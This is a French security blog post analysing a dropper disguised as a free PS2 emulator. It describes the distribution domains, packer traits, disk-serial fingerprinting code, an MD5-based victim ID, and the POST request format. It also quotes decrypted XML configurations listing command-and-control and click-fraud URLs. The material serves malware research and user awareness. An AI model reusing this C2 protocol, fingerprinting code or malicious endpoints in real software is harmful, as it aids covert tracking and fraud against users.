Malware : PS2 Emulators - Play 2 Emulator ?

Exploiter les péchés des Hommes demeure la recette à succès par excellence - les distributions s'effectuent par le biais de diverses "vitrines".
Avec des mots clés comme: "FREE", "PORN", "MONEY", "WAREZ", "CRACK", "SERIAL", "PATCH", "KEYGEN", ...
Le pire dans l'histoire, c'est que l'internaute a la sensation de réaliser une "bonne affaire", bien conditionné, il va commettre des imprudences.
Il constatera peut-être, à sa grande surprise, qu'il s'est fait duper et qu'il en subira durement les conséquences.
Vous avez fauté ? Tant pis pour vous et cessez d'imaginer qu'un nettoyage sera LA solution.
Comme on dit, "Café bouillu, café foutu!" ( Coffee boiled, is coffee spoiled! )

Ces faux portails et faux blogs vous proposent de télécharger gratuitement des applications, aussi bien pour vos ordinateurs que vos téléphones et toutes sortes d'appareils, ... et l'article de Christopher Boyd (aka PaperGhost) intitulé "Consoles for old games come with new malcode" souligne que les consoles de jeux ( émulateurs ) semblent être de bons appâts. Ce qui a particulièrement attiré notre attention, c'est cette remarque:

Download and run any of the above files | all hosted at movieutilitesonline(dot)com
and you'll probably be wondering where the alleged emulator is that is "by far superior
to all other PS2 Emulators released before it." A pair of files will be dropped onto
your PC, including a randomly named executable in the Windows directory and xpysys.dll
in your System32 Folder. In some cases, people have reported this particular attack
resulting in rogue antivirus appearing on the compromised system – however, during
testing nothing was downloaded onto the PC. This doesn't mean it won't happen...

Comme nous surveillons ces activités et que nous n'avions pas décelé d'anomalies sur ces derniers échantillons, cela nous a intrigués. Nous avons contacté Chris B. over Twitter pour obtenir des infos complémentaires sur sa configuration au moment des tests. Puis après quelques manipulations, nous sommes arrivés à la conclusion que ce dropper, chargé de déposer la bibliothèque dans %windir%\system32, comportait une anomalie sur son packer. Pendant nos investigations, nous avons été étonné de l'absence de détails, d'informations, sur ces fichiers et c'est principalement la raison de ce billet.

Nous ne détaillerons pas le circuit de distribution, on peux simplement dire que des noms de domaines sont enregistrés au préalables et que chaque jour plusieurs sont "activés". La fréquence des modifications sur les pages des affiliés est élevée. Ci-dessous, les configurations des derniers "lots" de DNS.

AS    | IP            | BGP Prefix      | CC | Registry | Allocated  | AS Name
16265 | 62.212.66.81  | 62.212.64.0/19  | NL | ripencc  | 2000-06-22 | LEASEWEB LEASEWEB AS
16265 | 62.212.66.108 | 62.212.64.0/19  | NL | ripencc  | 2000-06-22 | LEASEWEB LEASEWEB AS
21788 | 64.120.141.6  | 64.120.128.0/18 | US | arin     | 2009-04-27 | NOC | Network Operations Center Inc.
19318 | 69.10.38.27   | 69.10.32.0/20   | US | arin     | 2007-04-11 | NJIIX-AS-1 | NEW JERSEY INTERNATIONAL INTERNET EXCHANGE LLC

Chaque programme téléchargé aura sa signature unique car à chaque requête le PE est " tagué " de plusieurs bytes.
Les noms des fichiers sont générés en fonction de l'url, il s'agit d'une ré-écriture de l'entête:

http://movieutilitesonline.com/HelloWorld.Keygen.1337.exe
-- Content-Disposition: attachment;filename=HelloWorld.Keygen.1337.exe


Quant aux packers, de la même manière, les "lots" ont leurs propres caractéristiques.

17/02/2010 21:46:05:57 | MULTIMEDIAPLUGIN.COM | 91 136 | 0000262D | 00001A2D | CODE | 3.4
18/02/2010 00:00:00:01 | MEDIACANOPIES.COM | 91 136 | 0000262D | 00001A2D | CODE | 3.4

...
20/02/2010 22:54:58:04 | FILMUTILITES.COM | 92 672 | 00001F50 | 00001350 | CODE | 3.1
21/02/2010 02:18:44:54 | MEDIAGOSS.COM | 92 672 | 00001F50 | 00001350 | CODE | 3.1
21/02/2010 10:14:33:14 | OMNIGLOBALMEDIA.COM | 92 672 | 00001F50 | 00001350 | CODE | 3.1
21/02/2010 23:11:22:39 | PLAINMULTIMEDIA.COM | 92 672 | 00001F50 | 00001350 | CODE | 3.1

...
22/02/2010 23:48:45:56 | SUPERFILESNOW.COM | 94 208 | 00002449 | 00001849 | .text | 4.1
23/02/2010 09:48:07:21 | MEGAFILESMEDIA.COM | 94 208 | 00002449 | 00001849 | .text | 4.1

...

Revenons aux échantillons du lot associé au billet de SunbeltBlog.

10/03/2010 14:58:32:99 | MOVIEUTILITESONLINE.COM | 105 472 | Unknown | 00006B03 | 00005F03 | .text | 2.25

Point commun avec les précédents packers, ces fichiers ne peuvent être analysés sous TE.
Sur cette vidéo d'unpacking, la première session concerne ce packer et la deuxième ceux des fichiers téléchargés.
Comme la plupart des bestioles, la première étape consiste à récupérer des informations.

LCID GetUserDefaultLCID(void);

BOOL WINAPI GetVolumeInformation(
  __in_opt   LPCTSTR lpRootPathName,
  __out      LPTSTR lpVolumeNameBuffer,
  __in       DWORD nVolumeNameSize,
  __out_opt  LPDWORD lpVolumeSerialNumber,
  __out_opt  LPDWORD lpMaximumComponentLength,
  __out_opt  LPDWORD lpFileSystemFlags,
  __out      LPTSTR lpFileSystemNameBuffer,
  __in       DWORD nFileSystemNameSize
);

BOOL SHGetSpecialFolderPath(      
    HWND hwndOwner,
    LPTSTR lpszPath,
    int csidl,
    BOOL fCreate
);

DWORD WINAPI GetEnvironmentVariable(
  __in_opt   LPCTSTR lpName,
  __out_opt  LPTSTR lpBuffer,
  __in       DWORD nSize
);

int PathGetDriveNumber(      
    LPCTSTR lpsz
);


etc... je vais juste introduire l'utilisation de DeviceIoControl qui doit ressembler à:

HANDLE hPhysicalDriveIOCTL = 0;
hPhysicalDriveIOCTL = CreateFile ("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
DeviceIoControl (hPhysicalDriveIOCTL, 0x2D1400, NULL, 0,
& buffer, sizeof (buffer), & cbBytesReturned, NULL);


Ce qui permet d'extraire des informations comme:
Label: LEET HARDDISK
Version: 1.0
Serial: B00B00B00B00B00B00B00B00B00B00B00B00B00B
Size: 1337
...


Ce lot de données est envoyé par la suite dans une requête en méthode POST.
L'identification de la fonction de hachage cryptographique est aisée,

01 23 45 67 89 AB CD EF FE DC BA 98 76 54 32 10   .#Eg........vT2.

Il s'agit tout simplement de MD5
Lors de mon test, mes informations étaient les suivantes: "LEET HARDDISK1.0VB8637c3bf-5c5a0f3e "
La variable "a1" sera construite ainsi: "13371337" + "25fc74d877cd3f05bf460225015ca2b5"
Ensuite la variable "a2" correspondra à la valeur retournée par la fonction GetTickCount.
Et enfin la variable "cd" utilisera des chaines ASCII hardcodées permettant d'agir comme "horodateur".
Au final, nous obtenons quelque chose sous la forme:

"a2=0000b0a6&a1=1337133725fc74d877cd3f05bf460225015ca2b5&cd=Mar  9 2010,12:55:55"

D'autres informations sont ainsi récupérées, cryptées et encodées en base64 puis envoyées aux pirates.
Ci-dessous, une démonstration détaillée des étapes successives.



Le programme va ensuite décoder ses DNS hardcodés, en général au nombre de 3, ici:

- ANGELHOUSEARTS.COM
- BESTHOMEARTS.COM
- SUPERSTYLEMEDIA.COM


Puis va concatèner toutes ces informations et forger les futures requêtes.
Noms de domaines, noms de pages, noms de variables sont déterminés dans le binaire.
La méthode POST sera toujours utilisée, de même pour le User-Agent défini à "wget 3.0"
Si une anomalie a été détectée alors la valeur de "Content-Type" sera erronée:
Exemple: "Content-Type: application/x-www-form-urlenqoded"
Ce qui permet ainsi d'invalider la requête, malin...

[+] wininet.InternetCrackUrlA
    ---- WS2_32
    + WSAStartup
    + gethostbyname
    + socket
    + ntohs
    + connect
    + getsockopt
    + send
    + recv
    + closesocket
    + WSACleanup


POST /mnhbckjmdhckj.php?q=...
Content-Type: application/x-www-form-urlencoded
Host: besthomearts.com
User-Agent: wget 3.0
Content-Length: 121
Connection: close
Cache-Control: no-cache
data=...


Pour résumer, la première variable de l'url contiendra les valeurs des variables ("a1"+"a2"+"cd") tandis que la variable "data" contiendra les valeurs des variables ("debug"+"admin"+"os"). La réponse du serveur distant correspond à un fichier de configuration XML crypté.



Il faut imaginer que toutes ces actions sont réalisées sur une machine moderne en l'espace d'une fraction de seconde. En utilisant ce fichier d'échange crypté, les pirates peuvent contourner une grande variété de solutions de filtrages et ensuite piloter vos ordinateurs. Dans ce cas d'étude, le programme va effectuer une lecture par découpage (parsing) de la configuration et on observe très clairement que 3 fichiers peu ou pas détectés par vos solutions antivirus. Deux ordinateurs infectés par un même fichier peuvent avoir des infections multiples et symptômes différents. Des gif ? D'après l'entête des fichiers, on pourrait croire qu'effectivement qu'il s'agit d'images valides, en réalité il s'agit de PE cryptés qui seront téléchargés dans le répertoire %tmp%.

Au moment du test, les fichiers téléchargés étaient:
f55c8ea72c66d48934f85f1368e6404c - 154 112 - [HomePacker(Layer(UPX))]
d8ad2ac5204e5d2940308e0fafb73d25 - 162 816 - [HomePacker(Layer(UPX))]

Et le fichier 4c42b50a3d0b216894d497a399f4c1f4 de 235008 octets qui correspond au dropper.
Quelques mots sur cette librairie, elle commence par décrypter ses chaines de caractères, API et config embarquée.
Note: Si quelqu'un sait à quoi correspond la chaine ASCII "Canaveral", contactez-moi, merci.

<zippo>
    <url post="on"><![CDATA[http://yourgot.com/oms.php]]></url>
    <url post="on"><![CDATA[http://safarel.com/oms.php]]></url>
    <url crypt="on" post="on"><![CDATA[http://soilness.com/oms.php]]></url>
</zippo>

<gi>
    <url get="on"><![CDATA[http://proting.com/tbd.php?e=]]></url>
    <url get="on"><![CDATA[http://theour.com/tbd.php?e=]]></url>
    <url get="on" crypt="on"><![CDATA[http://foralllife.com/tbd.php?e=]]></url>
</gi>


Cette fois les requêtes sont effectuées avec "User-Agent: XML"
Les informations cryptés sont stockées dans la base de registre:
HKEY_CURRENT_USER\Software\Microsoft\Handle\...

Et ça ressemble à ça déchiffré:

<root>
        <config>

                <url post="on"><![CDATA[http://yourgot.com/oms.php]]></url>
                <url post="on" crypt="on"><![CDATA[http://soilness.com/oms.php]]></url>

        </config>

        <gi>

                <url get="on"><![CDATA[http://proting.com/tbd.php?e=]]></url>
                <url get="on"><![CDATA[http://theour.com/tbd.php?e=]]></url>
                <url get="on" crypt="on"><![CDATA[http://foralllife.com/tbd.php?e=]]></url>

                <searchperday>inf</searchperday>
                <clicksperday>inf</clicksperday>
                <pause>5</pause>
        </gi>
</root>


Informations sur les DNS associés aux fichiers de configuration.

DNS (.COM) | AS    | IP             | BGP Prefix       | CC | Registry | Allocated  | AS Name
yourgot    | 7796  | 216.240.157.88 | 216.240.144.0/20 | US | arin     | 1999-09-22 | ATMLINK - ATMLINK, INC.
safarel    | NA    | 185.239.210.1  | NA               |    |          |            | NA
proting    | 36351 | 208.43.125.181 | 208.43.64.0/18   | US | arin     | 2008-04-22 | SOFTLAYER - SoftLayer Technologies Inc.
theour     | 46636 | 88.214.205.199 | 88.214.192.0/20  | GB | ripencc  | 2006-01-18 | NATCOWEB - NatCoWeb Corp.
foralllife | 34984 | 217.131.120.61 | 217.131.96.0/19  | TR | ripencc  | 2001-01-22 | TELLCOM-AS Tellcom Iletisim Hizmetleri

... Il y a quantité de choses à détailler et commenter mais pas sûr que "tout le monde" apprécie.

Rappel: Principes essentiels de la sécurité informatique - Chapitre: "Télécharger prudemment"

Si vous avez un compte Twitter, suivez l'actualité avec nos amis francophones, @Siri_URZ ; @CedricPernet ; @NicolasBrulez ; etc...
pour + de contacts: @MalwareScene - pour conclure, un grand bravo à Matthieu Suiche ( Microsoft Security MVP + MoonSols )

Rétroliens

    Pas de rétroliens

Commentaires

Afficher les commentaires en (Vue non groupée | Vue groupée)

    Pas de commentaires


Ajouter un commentaire


Les adresses Email ne sont pas affichées, et sont seulement utilisées pour la communication.

Pour éviter le spam par des robits automatisés (spambots), merci d'entrer les caractères que vous voyez dans l'image ci-dessous dans le champ de fomulaire prévu à cet effet. Assurez-vous que votre navigateur gère et accepte les cookies, sinon votre commentaire ne pourra pas être enregistré.
CAPTCHA

 
Les commentaires postés doivent être approuvés avant d'être affichés dans le blog.